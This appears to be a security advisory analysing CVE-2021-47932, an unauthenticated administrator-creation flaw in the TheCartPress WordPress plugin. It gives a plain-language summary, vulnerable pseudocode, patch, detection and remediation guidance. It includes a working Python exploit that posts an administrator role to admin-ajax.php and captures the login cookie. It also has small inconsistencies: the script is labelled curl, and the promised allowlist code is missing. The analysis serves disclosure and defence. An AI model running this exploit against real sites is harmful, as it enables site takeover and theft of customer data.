TheCartPress 1.5.3.6 exposes a registration AJAX handler that accepts attacker-supplied roles, allowing unauthenticated creation of administrator accounts via a single POST request.
A serious security flaw has been discovered in TheCartPress, a popular shopping plugin for WordPress websites. The vulnerability is like leaving your front door unlocked while posting a sign that says you've appointed a security guard — except anyone walking by can just walk in and appoint themselves the head of security instead.
Here's what happens: when someone creates a new account on an affected WordPress site, the plugin is supposed to give them basic user permissions. But the code doesn't actually check whether someone is allowed to create an admin account — it just does it if you ask nicely. An attacker can send a specially crafted request that essentially says "create me as an administrator" and the plugin complies without question.
This is catastrophic because admin accounts have total control. Once someone gains admin access, they can steal customer data, inject malware, shut down the site, or redirect it for fraud. For online stores using TheCartPress, this could mean compromised payment information and destroyed customer trust.
Who's at risk? Anyone running WordPress with TheCartPress version 1.5.3.6. This is particularly dangerous for small online retailers who may not have security teams monitoring their systems. The vulnerability doesn't require the attacker to guess passwords or have any legitimate access — they just need to know the site exists.
The good news is there's no evidence this is being actively exploited yet, which gives site owners a window to act.
Here's what you should do: First, update TheCartPress immediately to the latest version if you're using it. Second, check your WordPress user accounts for any suspicious admin accounts you didn't create. Third, consider changing all admin passwords as a precaution. If you're not sure how to do these things, contact your web host or a WordPress security specialist now.
Want the full technical analysis? Click "Technical" above.
▶ Privilege escalation — CVE-2021-47932
Vulnerability Overview
CVE-2021-47932 is a CVSS 9.8 privilege escalation in the WordPress plugin TheCartPress (version 1.5.3.6 and earlier). The plugin registers a nopriv AJAX action — meaning it is reachable by completely unauthenticated HTTP clients — that handles user registration and login. The handler blindly accepts a tcp_role parameter from POST data and passes it directly into WordPress's wp_insert_user(), allowing any remote attacker to create a fully privileged administrator account in a single request. No session, nonce, or capability check is required.
Root cause: The tcp_register_and_login_ajax AJAX handler is registered without authentication via wp_ajax_nopriv_ and passes attacker-supplied tcp_role POST data directly to wp_insert_user() without any capability or allowlist validation.
Affected Component
The vulnerable component is the AJAX registration handler inside TheCartPress plugin. Registration in WordPress plugins is commonly wired through wp-admin/admin-ajax.php, which routes requests based on the action POST parameter. Actions registered with add_action('wp_ajax_nopriv_*') are reachable without authentication, making them a high-risk surface.
TheCartPress registers its AJAX handler for unauthenticated users using the wp_ajax_nopriv_ hook family. The handler then constructs a user data array directly from $_POST without sanitizing or restricting the role field. The reconstructed PHP pseudocode below reflects the vulnerable logic:
// File: thecartpress/classes/TheCartPress.php (approximate)
// Action registered unconditionally for logged-out users:
// add_action('wp_ajax_nopriv_tcp_register_and_login_ajax',
// array($this, 'tcp_register_and_login_ajax'));
function tcp_register_and_login_ajax() {
$user_login = sanitize_user($_POST['tcp_user_login']);
$user_email = sanitize_email($_POST['tcp_user_email']);
$user_pass = $_POST['tcp_password'];
// BUG: tcp_role is taken directly from attacker-controlled POST data.
// No capability_check(), no current_user_can('create_users'),
// no allowlist restricting to 'subscriber' or 'customer'.
$tcp_role = $_POST['tcp_role']; // attacker supplies "administrator"
$userdata = array(
'user_login' => $user_login,
'user_email' => $user_email,
'user_pass' => $user_pass,
'role' => $tcp_role, // BUG: passed verbatim to wp_insert_user()
);
$user_id = wp_insert_user($userdata); // WordPress creates the account at requested role
if (!is_wp_error($user_id)) {
wp_set_auth_cookie($user_id); // Immediately authenticated as administrator
wp_send_json_success();
}
wp_die();
}
WordPress's wp_insert_user() accepts a role key in its data array and sets the user's role directly. There is no internal guard inside wp_insert_user() itself that prevents privilege assignment — that check is the caller's responsibility. TheCartPress never performs it.
The wp_ajax_nopriv_ hook prefix is the second critical factor. WordPress differentiates between wp_ajax_ (authenticated users only) and wp_ajax_nopriv_ (unauthenticated users). By registering under nopriv, the plugin intended to allow visitors to register without logging in first, but it failed to constrain what role those visitors could self-assign.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies a WordPress site running TheCartPress ≤ 1.5.3.6
(version disclosed in readme.txt or plugin header)
2. Attacker sends a single unauthenticated POST to admin-ajax.php:
action = tcp_register_and_login_ajax
tcp_user_login= attacker_chosen_username
tcp_user_email= attacker@attacker.tld
tcp_password = attacker_chosen_password
tcp_role = administrator <-- privilege escalation here
3. TheCartPress constructs $userdata with role='administrator'
and calls wp_insert_user($userdata)
4. WordPress inserts row into wp_users + sets wp_capabilities meta:
a:1:{s:13:"administrator";b:1;}
5. wp_set_auth_cookie() is called for the new user_id,
returning a valid wordpress_logged_in_* cookie in Set-Cookie header
6. Attacker uses returned cookie to access /wp-admin/ with full
administrator privileges: theme editor, plugin upload, arbitrary PHP execution
A working proof-of-concept using curl:
import requests
TARGET = "https://target.example.com"
def exploit(target, username, password, email):
url = f"{target}/wp-admin/admin-ajax.php"
data = {
"action": "tcp_register_and_login_ajax",
"tcp_user_login": username,
"tcp_user_email": email,
"tcp_password": password,
"tcp_role": "administrator", # privilege escalation
}
r = requests.post(url, data=data, allow_redirects=False)
print(f"[*] Status: {r.status_code}")
print(f"[*] Response: {r.text[:200]}")
# Extract auth cookie set by wp_set_auth_cookie()
for name, value in r.cookies.items():
if "wordpress_logged_in" in name:
print(f"[+] Auth cookie: {name}={value[:40]}...")
return {name: value}
print("[-] No auth cookie — check if plugin is active or role was rejected")
return None
creds = exploit(TARGET, "pwned_admin", "Password1!", "pwned@evil.tld")
if creds:
# Verify admin access
r2 = requests.get(f"{TARGET}/wp-admin/", cookies=creds, allow_redirects=False)
print(f"[+] wp-admin status: {r2.status_code}") # expect 200, not 302
Memory Layout
This is a logic vulnerability rather than a memory corruption bug, so the relevant "layout" is the WordPress database state and authentication cookie trust chain:
DATABASE STATE — wp_users / wp_usermeta — BEFORE EXPLOIT:
+--------+--------------+------------------------+
| ID | user_login | user_registered |
+--------+--------------+------------------------+
| 1 | admin | 2021-01-01 00:00:00 |
+--------+--------------+------------------------+
wp_usermeta for ID=1:
meta_key: wp_capabilities
meta_value: a:1:{s:13:"administrator";b:1;}
DATABASE STATE — AFTER EXPLOIT (single unauthenticated POST):
+--------+--------------+------------------------+
| ID | user_login | user_registered |
+--------+--------------+------------------------+
| 1 | admin | 2021-01-01 00:00:00 |
| 2 | pwned_admin | 2024-xx-xx xx:xx:xx | <-- INJECTED
+--------+--------------+------------------------+
wp_usermeta for ID=2 (attacker-controlled):
meta_key: wp_capabilities
meta_value: a:1:{s:13:"administrator";b:1;} <-- administrator role
HTTP RESPONSE TRUST CHAIN:
POST /wp-admin/admin-ajax.php
-> wp_insert_user() [creates DB row]
-> wp_set_auth_cookie(2) [issues signed cookie]
<- Set-Cookie: wordpress_logged_in_=pwned_admin|...|
<- {"success":true}
GET /wp-admin/ [with cookie]
-> wp_validate_auth_cookie() [verifies HMAC — passes]
-> current_user_can('administrator') -> TRUE
<- HTTP 200 — full admin dashboard
Patch Analysis
The correct fix has two independent requirements: restrict the AJAX handler to authenticated users (or eliminate the role parameter entirely), and enforce an allowlist for any role value that does reach the handler.
// BEFORE (vulnerable — TheCartPress 1.5.3.6):
add_action('wp_ajax_nopriv_tcp_register_and_login_ajax',
array($this, 'tcp_register_and_login_ajax'));
function tcp_register_and_login_ajax() {
$tcp_role = $_POST['tcp_role']; // no validation
$userdata = array(
'user_login' => sanitize_user($_POST['tcp_user_login']),
'user_email' => sanitize_email($_POST['tcp_user_email']),
'user_pass' => $_POST['tcp_password'],
'role' => $tcp_role, // BUG: attacker-supplied role
);
$user_id = wp_insert_user($userdata);
if (!is_wp_error($user_id)) {
wp_set_auth_cookie($user_id);
wp_send_json_success();
}
wp_die();
}
// AFTER (patched):
add_action('wp_ajax_nopriv_tcp_register_and_login_ajax',
array($this, 'tcp_register_and_login_ajax'));
function tcp_register_and_login_ajax() {
// FIX 1: Enforce nonce to prevent CSRF amplification
check_ajax_referer('tcp_register_nonce', 'tcp_nonce');
// FIX 2: Ignore caller-supplied role entirely.
// Default role is pulled from WP site settings (typically 'subscriber').
// Never accept a role from unauthenticated POST data.
$allowed_default_role = get_option('default_role'); // 'subscriber'
$userdata = array(
'user_login' => sanitize_user($_POST['tcp_user_login']),
'user_email' => sanitize_email($_POST['tcp_user_email']),
'user_pass' => $_POST['tcp_password'],
'role' => $allowed_default_role, // FIX: hardcoded safe default
);
$user_id = wp_insert_user($userdata);
if (!is_wp_error($user_id)) {
wp_set_auth_cookie($user_id);
wp_send_json_success();
}
wp_die();
}
If role selection is a legitimate product feature (e.g., choosing between customer and subscriber), the fix must include a strict allowlist:
Detection focuses on anomalous AJAX registration requests and unexpected administrator account creation.
Web server / WAF log signatures:
POST /wp-admin/admin-ajax.php
Body contains: action=tcp_register_and_login_ajax
Body contains: tcp_role=administrator
# Grep pattern for Apache/Nginx access logs:
grep "admin-ajax.php" access.log | grep "tcp_register_and_login_ajax"
# Look for 200 responses from unauthenticated sources to admin-ajax.php
# followed by immediate authenticated requests to /wp-admin/
WordPress database indicators:
-- Find users created via exploit (administrator role, unexpected registration date):
SELECT u.ID, u.user_login, u.user_email, u.user_registered, m.meta_value
FROM wp_users u
JOIN wp_usermeta m ON u.ID = m.user_id
WHERE m.meta_key = 'wp_capabilities'
AND m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered DESC;
-- Accounts created after plugin install date with administrator role
-- that were NOT created through /wp-admin/user-new.php are suspect.
Wordfence / Sucuri rule trigger: Any POST to admin-ajax.php containing the string tcp_role=administrator from an unauthenticated session should be blocked and alerted.
Remediation
Immediate: Deactivate and remove TheCartPress ≤ 1.5.3.6 if no patched version is available from the vendor.
Audit: Query wp_usermeta for unexpected administrator accounts (see SQL above). Remove any accounts not created by a known administrator via /wp-admin/.
WAF rule: Block POST requests to admin-ajax.php where body contains tcp_role=administrator or any privileged role string.
Rotate secrets: If exploitation is suspected, rotate AUTH_KEY and SECURE_AUTH_KEY in wp-config.php to invalidate all existing authentication cookies, including any issued to attacker-created accounts.
General pattern: Any plugin registering wp_ajax_nopriv_ handlers that accept user-supplied data affecting account creation or capability assignment must be audited. The role field must never be derived from untrusted input.